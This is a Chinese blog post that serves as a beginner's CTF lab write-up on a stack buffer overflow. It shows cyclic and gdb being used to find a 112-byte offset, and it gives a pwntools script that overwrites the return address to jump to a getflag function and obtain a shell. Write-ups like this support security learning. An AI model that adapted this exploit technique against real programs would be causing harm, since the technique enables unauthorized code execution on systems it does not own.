PWN实验

作者: 喵_ffc4 | 来源:发表于2019-03-14 22:25 被阅读8次

PWN实验

这可能还真的是我第一次接触这类奇奇怪怪的东西。

首先,想到的肯定是先把pwn这个文件在Ubuntu虚拟机的terminal中执行一遍。

如图所示,随便输入一个什么东西,程序就结束了。

用IDA打开这个程序,发现:

发现了有getflag()函数,再找到getflag()的位置:

地址为0x0804858B.

回到ubuntu里,输入【cyclic 200】生成200个有序字符,以查看什么时候溢出的。

启用gdb调试,输入【gdb pwn】,如下图所示:

开始运行,输入【run】,如下图所示:

将那产生的200个字符作为输入:

观察可知溢出的地方是0x62616164.再输入【cyclic -l 0x62616164】:

得到112,0x62616164对应的ASCII码为'baad',说明‘baad’前有112个字母,那么这112个字母就是填充空栈的所需量了。接下来多的就会溢出。

那么我们就要把我们要他跳转的位置放在112个字母后让他溢出,就可以实现跳转。

写脚本,将其放在112个填充物的后面。


脚本代码:

# -*- coding: utf-8 -*-

"""

Created on Thu Mar 14 15:04:49 2019

@author: ZHANGJIAHAO

"""

from pwn import *

sh=process('./pwn')

elf=ELF('./pwn')

target=0x0804858B

sh.sendline('a'*112+p32(target))

#至此就获得了系统权限

sh.interactive()

#打开交互页面


自己写一个f1ag文件,我在文件里输入的是【{flag}ZJH】,执行效果如下:

最终,获得了系统权限。

相关文章

  • PWN实验

    PWN实验 这可能还真的是我第一次接触这类奇奇怪怪的东西。 首先,想到的肯定是先把pwn这个文件在Ubuntu虚拟...

  • NCTF2018

    solo失败,丢了一半pwn没办法,马上考试,边看计网mooc边看题,还要做实验,先挑了些简单的,抢个pwn一血为...

  • 实验吧ROPbaby(PWN)

    本文首发于博主公众号LISTONE,欢迎关注哦! 题目链接:ROPbaby (没想到题目服务器挂掉了,只能本地做了...

  • 基本ROP实验3_ret2libc3

    利用ret2libc3实验原理,用pwn的文件来尝试一下。 首先,拿到了一个pwn文件,用IDA女神看看源程序是什...

  • 新手科普 | CTF PWN堆溢出总结

    新手科普 | CTF PWN堆溢出总结 pwn堆溢出基础 CTF pwn 中最通俗易懂的堆入坑指南CTF pwn ...

  • MCTF pwn

    pwn2 from pwn import * #p=process("./pwn2") p=remote("120...

  • 什么是pwn/二进制溢出

    什么是pwn? In script kiddie jargon, pwn means to compromise ...

  • 安恒一月赛2019 PWN

    0x01 pwn1 0x02 pwn2

  • pwn入门的一些学习资料

    总结记录一下pwn入门的一些学习资料 pwn入门学习的网站: CTF Wiki 必备技能: 汇编语言要搞pwn首先...

  • RoarCTF 2019 pwn

    嘶吼 CTF 2019 PWN 题解 easy_pwn 题目信息 main create 最多16个note 大小...

网友评论

    本文标题:PWN实验

    本文链接:https://www.haomeiwen.com/subject/cexhmqtx.html